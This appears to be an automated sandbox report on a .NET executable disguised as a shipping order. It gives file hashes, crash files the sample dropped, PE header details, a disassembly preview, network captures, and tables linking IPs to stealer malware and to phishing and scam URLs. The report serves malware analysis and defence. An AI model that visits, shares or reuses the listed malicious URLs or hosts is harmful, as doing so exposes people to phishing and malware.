	enEQvjUlGl.elf	Get hash	malicious	Mirai	Browse	178.194.189.44
	Oo2yeTdq5J.elf	Get hash	malicious	Mirai	Browse	85.2.40.128
	3OcPSlVa7n.elf	Get hash	malicious	Mirai	Browse	161.78.204.214
CLOUDFLARENETUS	qk9TaBBxh8.exe	Get hash	malicious	LummaC, Glupteba, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse	172.67.180.119
	SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	0OqTUkeaoD.exe	Get hash	malicious	RedLine	Browse	104.20.3.235
	https://bj8lt4fm8evwyl.pages.dev/smart89/	Get hash	malicious	Unknown	Browse	172.66.47.24
	https://jainpokliultachor.pages.dev/	Get hash	malicious	Unknown	Browse	104.22.24.131
	https://pusha1qsn.z13.web.core.windows.net/	Get hash	malicious	TechSupportScam	Browse	104.21.53.38
	https://19apmacc8.z13.web.core.windows.net/	Get hash	malicious	Unknown	Browse	104.22.24.131
	https://loo54.z11.web.core.windows.net/werrx01USAHTML/?bcda=1-844-621-0495	Get hash	malicious	TechSupportScam	Browse	172.67.208.186
	https://support1-4ec.pages.dev/	Get hash	malicious	TechSupportScam	Browse	172.66.44.177
	https://support-bxv.pages.dev/	Get hash	malicious	TechSupportScam	Browse	172.66.44.120

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Get hash	malicious	AgentTesla	Browse	193.222.96.147 172.67.74.152
	0OqTUkeaoD.exe	Get hash	malicious	RedLine	Browse	193.222.96.147 172.67.74.152
	IMG_210112052.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	193.222.96.147 172.67.74.152
	https://keenetownhall-my.sharepoint.com/:b:/g/personal/amanda_keenetownhall_org/ESKbqbSIMj5ElsbdsfaEg7oBgkFm5H_JqS97uaySzVhJDQ?e=KMMz4y	Get hash	malicious	HTMLPhisher	Browse	193.222.96.147 172.67.74.152
	https://www.canva.com/design/DAGC4eUhMw0/cKr_ImwjL8JW0nUMNMi5QA/view?utm_content=DAGC4eUhMw0&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	193.222.96.147 172.67.74.152
	z1E-catalogSamples.exe	Get hash	malicious	AgentTesla	Browse	193.222.96.147 172.67.74.152
	rTDN001-180424_PDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	193.222.96.147 172.67.74.152
	PO-095325.scr.exe	Get hash	malicious	AgentTesla	Browse	193.222.96.147 172.67.74.152
	Copy of Poseidon Marine 4th monthly Stores Apr 2024 R3 .xls.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	193.222.96.147 172.67.74.152
	W4tW72sfAD.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	193.222.96.147 172.67.74.152

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_ShippingOrder_ G_c05f69ea49c545b52540ede261d1523dc0c4da49_19f2bd8d_292068fc-b850-4303-bb11-dec50d1c5818\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.2120825092482466
Encrypted:	false
SSDEEP:	192:1jiw295081zbaWB+lPIUMpzuiFZZ24lO8z+:piw2g81zbamIgVpzuiFZY4lO8z
MD5:	D1AF2656809F4EB0D3BF479402C49E6C
SHA1:	E46EE1A278A9E76EF86C50930313C0BD2C60331B
SHA-256:	19F6637298273D2BC0958DDC5F64B6858BF46F0A9AAD6113119CB70B6942BADB
SHA-512:	23B417B12EECC8DEFB776DF6B1DE15587312B5C78D5652699EE3CBEF41326367BE1ECEC7DA3E77C162CEDA7954E223D9E7156F0AAD05D0F0427C4DD6187F6C96
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.8.0.6.2.0.8.0.4.2.2.9.6.6.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.5.8.0.6.2.0.8.1.2.1.9.8.3.5.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.9.2.0.6.8.f.c.-.b.8.5.0.-.4.3.0.3.-.b.b.1.1.-.d.e.c.5.0.d.1.c.5.8.1.8.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.f.5.e.a.6.2.8.-.f.1.5.0.-.4.2.3.4.-.a.1.e.d.-.8.b.c.8.4.2.c.b.b.7.4.b.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.S.h.i.p.p.i.n.g.O.r.d.e.r._. .G.S.H.S.2.4.0.0.0.5.2...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.9.1.8.-.0.0.0.1.-.0.0.1.4.-.9.7.f.9.-.f.d.e.7.d.d.9.2.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.3.e.c.b.e.f.1.6.7.d.5.9.4.1.2.b.2.f.5.c.3.6.c.9.f.d.7.7.1.c.0.9.0.0.0.0.f.f.f.f.!.0.0.0.0.0.8.a.5.5.8.e.b.2.7.2.9.5.a.8.e.3.f.7.0.a.7.a.0.5.c.f.9.5.8.e.2.9.0.7.f.d.9.7.0.!.S.h.i.p.p.i.n.g.O.r.d.e.r._. .G.S.H.S.2.4.0.0.0.5.2.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER16C2.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 16 streams, Sat Apr 20 04:48:00 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	571139
Entropy (8bit):	2.703775943496332
Encrypted:	false
SSDEEP:	3072:s0IOFRGEYHc4n+P3KcSk6T3q1CCqpPw3+vCtdN9tdN9tdN9tdCfmoaTe8lCp:s0BY8vqTLoqtw3QUTeA
MD5:	6A78E945F0750DDB8C70EAA1B7DAAE62
SHA1:	9216E650BF2E5B12E7B05C4CC967104CC16E1F71
SHA-256:	DEEA68B23086D7C727168976B6FDBE7E93FFAAC137FF307A8518D34F1B48A4B0
SHA-512:	D9B46E13DE8C216FC2251D68FD6101A07A9E3588708622B8AF646C6D566F394800FF1D32D66E2364234909AAA9D9DFA1F1BE047B98B9F9A5FF0A7D877159230F
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... ........I#f............T...............t.......<...D..................=..............l.......8...........T........... ^...X..........P=..........<?..............................................................................eJ.......?......Lw......................T............H#f.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER184A.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8896
Entropy (8bit):	3.7046091041623677
Encrypted:	false
SSDEEP:	192:R6l7wVeJwGLu6Y9n9QgmfZBWpru89boc1Jgf/4m:R6lXJ5C6YN9QgmfPsokJgfV
MD5:	ED6A5D48DAE2855AEA111827C263CDDE
SHA1:	6B743F2276368CA85939A2C19B5D9172BE3B8170
SHA-256:	25A1403A93CA609EF4378A1FA7753A72BF23D8E05AA7B93EE3F1D810AB70EEEF
SHA-512:	6691C6B24C83667B55FA278FD35B34B1593C3BAA6E997DC2407D0BFF3CF8AEB34824EEEA4AAE6D2E86445AB22A9D6C6CCAC74579D04E93613044742CD049D6D0
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.4.2.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER18A9.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4816
Entropy (8bit):	4.494690700781559
Encrypted:	false
SSDEEP:	48:cvIwWl8zsDJg771I9yNWpW8VYdYm8M4JVrGSYL96FXyq8vwGSYL99kWCjTCyd:uIjfdI7N87VVJBopYWwop9k5iyd
MD5:	0A8397FB9153C8EF798483142539B668
SHA1:	5304EF6DEE02731E221A483FEF618DA99BDFD9AE
SHA-256:	AAB389EDE4CF7C9E35168BFF70DF1460F5A0F42E21C685D28EDBDCCC0DF609B1
SHA-512:	A37F85F5EEB53091094F59A9C6CD37A6145E634757B68C6FFF2839CBF1B2B8ACCF5220C3AFEFD1BE69035B249FA544C29B86F5F9CC15F931236935860C6D528C
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="287750" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.465722882160903
Encrypted:	false
SSDEEP:	6144:yIXfpi67eLPU9skLmb0b4aWSPKaJG8nAgejZMMhA2gX4WABl0uN4dwBCswSb+:3XD94aWlLZMM6YFHu++
MD5:	47B03DF1C4873FDF5BE5FB68E471493D
SHA1:	C140748AEB50BD8505EC1D4BDD1F7FCEAA1AA983
SHA-256:	BED759661AF55E9E5C6FF3439598E5E3C4F751B3FE7D189DB75292BFC97B3353
SHA-512:	0BE734BE1427495C8194188EE875B52E98FDE135BF4919322AF576C8E1F605CAF0E0E0E063F6E37B7502398D10DE354B5774279CCB2E380D877110FB3F529CD5
Malicious:	false
Reputation:	low
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.Q..................................................................................................................................................................................................................................................................................................................................................Y..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.932304734057946
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	ShippingOrder_ GSHS2400052.exe
File size:	189'952 bytes
MD5:	5a9bf748b2b3431b39e5a8fea6feaa80
SHA1:	08a558eb27295a8e3f70a7a05cf958e2907fd970
SHA256:	3801a5a9dd369ed4fefc953437c2059d00da7b98fabd3ec68262ef48f9718bcf
SHA512:	caa42a2ea17c2ca98812478dd5739479be6fee0c243401c08003092749b1848b4090b7470f9f6641219b9696cccfecebfc2497e2d7fc8200fb833a13bbe0e022
SSDEEP:	3072:fcGYpXxZwveS8lH9YYLI42pVWse3Ns6G2FxgiNCJmPG04:EGYpvwveMYpBRFxgvh
TLSH:	7B045B18EF88C622DA5E173260A343008FB8D1D7A647EBCBEC5468F82C537495E556BF
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...$.!f............................R.... ... ....@.. .......................@............@................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x430152
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x6621C524 [Fri Apr 19 01:13:08 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00430160h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor al, 01h
add eax, dword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, C5h
and dword ptr [esi+00h], esp
add byte ptr [eax], al
add byte ptr [edx], al
add byte ptr [eax], al
add byte ptr [ecx+00h], cl
add byte ptr [eax], al
test byte ptr [ecx], al
add eax, dword ptr [eax]
test bl, ah
add al, byte ptr [eax]
push edx
push ebx
inc esp
push ebx
mov edi, 6E45C05Fh
cwde
pop eax
dec edi
wait
dec eax
push esi
jne 00007F0BE09190D6h
scasb
cld
add dword ptr [ecx], 00000000h
add byte ptr [eax], al
inc ebx
cmp bl, byte ptr [ebp+edx*2+73h]
jc 00007F0BE0919186h
pop esp
arpl word ptr [edi+6Dh], bp
jo 00007F0BE0919187h
je 00007F0BE0919177h
jc 00007F0BE091916Eh
inc esp
jnc 00007F0BE091917Eh
je 00007F0BE0919181h
jo 00007F0BE091916Eh
dec edi
jne 00007F0BE0919186h
jo 00007F0BE0919187h
je 00007F0BE0919185h
pop esp
inc ebp
insd
jnc 00007F0BE0919174h
outsb
arpl word ptr [edi+4Eh], bp
insb
jo 00007F0BE0919177h
bound eax, dword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x30104	0x4c	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x32000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x30168	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x30160	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2000	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x2e1cd	0x2e200	1383d7dab6f6cf9df4e3e11bca2cc24e	False	0.4144594766260163	data	5.949353241730458	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.reloc	0x32000	0xc	0x200	d2cbb0866d64f2d9e2039a63bad76cfe	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 20, 2024 06:47:51.566257954 CEST	49675	443	192.168.2.4	173.222.162.32
Apr 20, 2024 06:47:55.445805073 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:55.445883989 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:55.446192980 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:55.465955973 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:55.466034889 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:55.893446922 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:55.893585920 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:55.915636063 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:55.915715933 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:55.916723967 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:55.972569942 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:56.022039890 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:56.064172983 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:56.505055904 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:56.505129099 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:56.505150080 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:56.505167961 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:56.505204916 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:56.505223036 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:56.505341053 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:56.505342007 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:56.505342007 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:56.505342007 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:56.505410910 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:56.505450964 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:56.505476952 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:56.505481005 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:56.505498886 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:56.505506992 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:56.505552053 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:56.505559921 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:56.505631924 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:56.505650997 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:56.550720930 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:56.707701921 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:56.707739115 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:56.707935095 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:56.707983971 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:56.708004951 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:56.708022118 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:56.708122969 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:56.708123922 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:56.708123922 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:56.708123922 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:56.708193064 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:56.708230019 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:56.708282948 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:56.708292961 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:56.708317041 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:56.708360910 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:56.753824949 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:56.910501957 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:56.910552025 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:56.910772085 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:56.910772085 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:56.910793066 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:56.910820007 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:56.910865068 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:56.910895109 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:56.910896063 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:56.910963058 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:56.911011934 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:56.911036015 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:56.911129951 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:56.911170006 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:56.911201954 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:56.911216974 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:56.911247015 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:56.911276102 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:56.911470890 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:56.911510944 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:56.911544085 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:56.911560059 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:56.911587000 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:56.911612034 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:56.911807060 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:56.911845922 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:56.911884069 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:56.911896944 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:56.911925077 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:56.911951065 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:56.912153959 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:56.912194014 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:56.912228107 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:56.912240982 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:56.912270069 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:56.912296057 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:56.942600965 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:56.942645073 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:56.942856073 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:56.942856073 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:56.942918062 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:56.942980051 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.116858006 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.116903067 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.117077112 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.117077112 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.117106915 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.117135048 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.117180109 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.117202997 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.117202997 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.117252111 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.117290974 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.117314100 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.117461920 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.117501974 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.117537022 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.117552042 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.117594004 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.117641926 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.117767096 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.117806911 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.117842913 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.117855072 CEST	443	49730	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:57.117882967 CEST	49730	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:57.117908955 CEST	49730	443	192.168.2.4	193.222.96.147
